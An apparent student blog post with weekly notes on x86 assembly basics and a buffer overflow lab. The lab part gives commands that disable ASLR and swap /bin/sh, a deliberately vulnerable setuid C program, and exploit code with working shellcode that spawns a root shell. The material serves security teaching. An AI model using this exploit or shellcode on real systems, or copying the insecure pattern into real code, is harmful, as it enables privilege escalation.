2018-2019-1 20165325 《信息安全系统设计基础》第三周学习总结
2018-2019-1 20165325 《信息安全系统设计基础》第三周学习总结
1、学习笔记
1、-Og
指令
实际上我也不太懂-Og
指令的具体作用。
-Og
指令告诉编译器使用会生成符合原始C代码整体结构的机器代码的优化等级。实际上,从得到程序的性能考虑,较高级别的优化(例如,以选项-O1
或者-O2
指定)被认为是最好的选择。
示例:linux> gcc -Og -o p p1.c p2.c
2、ojbdump
与-d
指令
在Linux系统中带‘-d’命令行标志程序OBJDUMP可以依据机器代码产生一种类似于汇编代码的格式(反汇编);
示例:linux> objdump -d mstore.o
3、两种机器代码
- 目标代码:*.o文件;
- 可执行代码:多个目标代码文件链接后的代码格式,处理器可执行。
上面俩东西反汇编均使用objdump -d
命令。
4、数据格式——字
Intel用术语字表示16位数据类型,双字为32位数,64位数为四字。
C声明 | Intel数据类型 |
---|---|
char | 字节 |
short | 字 |
int | 双字 |
long | 四字 |
char * | 四字 |
float | 单精度 |
double | 双精度 |
5、小于8字节的指令对寄存器的影响
- 1字节和2字节数字的指令会保持剩下的字节不变;
- 4字节数字的指令会把高位4个字节置0;
2、班课作业(缓冲区溢出实验)
1、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
2、准备工作
本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,按要求输入以下语句。
$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev
禁止系统使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址:
$ sudo sysctl -w kernel.randomize_va_space=0
使用另一个 shell 程序(zsh)代替 /bin/bash,取消系统防护:
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
准备工作到此结束。
3、实验步骤
$ cd /tmp
$ vi stack.c
输入代码:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
建立文件:exploit.c
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,这样获取:
gdb stack
disass main
在图示位置设置断点:
然后:
根据语句 strcpy(buffer + 100,shellcode); 我计算 shellcode 的地址为 0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制);现在修改exploit.c文件,将 \x??\x??\x??\x?? 修改为 \xc4\xd0\xff\xff
然后,编译 exploit.c 程序;
完成攻击,如下:
如果系统使用地址空间随机化,则提示段错误:
在/bin/bash里面也是一样,即使没有使用地址空间随机化,仍然提示段错误;
(可见防护还是有点厉害的hhhhhhhh)
3、问题日志
1、如何在Linux环境查看*.s文件
教材上有很多地方说“mstore.s的完整内容如下”,那么究竟如何在linux系统里面查看*.s文件的内容呢?
2、不能进入Linux32系统
我的虚拟机在执行$ linux32
时出问题,错误信息/bin/bash找不到这个文件。
在实验楼环境下未出现这样的问题,怀疑是这一步$ sudo apt-get install -y lib32readline-gplv2-dev
出了问题。
输入指令时我的电脑提示我:
没有可用的软件包 lib32readline-gplv2-dev,但是它被其它的软件包引用了。
这可能意味着这个缺失的软件包可能已被废弃,
或者只能在其他发布源中找到
那会儿解决方法暂时不知道,于是我去实验楼做实验了。
后来发现重新输入一遍代码就没有问题了,在虚拟机上也能完成该实验。